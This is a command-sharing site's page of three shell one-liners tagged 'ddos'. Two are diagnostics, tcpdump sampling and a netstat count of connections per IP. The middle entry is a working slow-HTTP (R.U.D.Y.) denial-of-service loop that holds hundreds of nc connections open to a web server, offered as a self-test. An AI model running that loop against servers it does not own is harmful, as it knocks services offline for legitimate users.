Commands tagged ddos (3)

  • Sometimes it is useful to have just a general picture of "what is taking all the bandwidth here". Running this command will limit tcpdump to a few packets (instead of flooding your terminal endlessly) and will provide a small, but sometimes sufficient, sample to determine what is going on. Useful to quickly diagnose DOS attacks.


    0
    tcpdump -i eth0 -n | head
    anarcat · 2011-12-06 18:34:51 1
  • Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!


    -1
    for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done
    elceef · 2015-04-15 14:02:55 2
  • Useful to check DDoS attacks on servers. Show Sample Output


    -2
    netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n
    nitins · 2009-02-19 04:59:32 4

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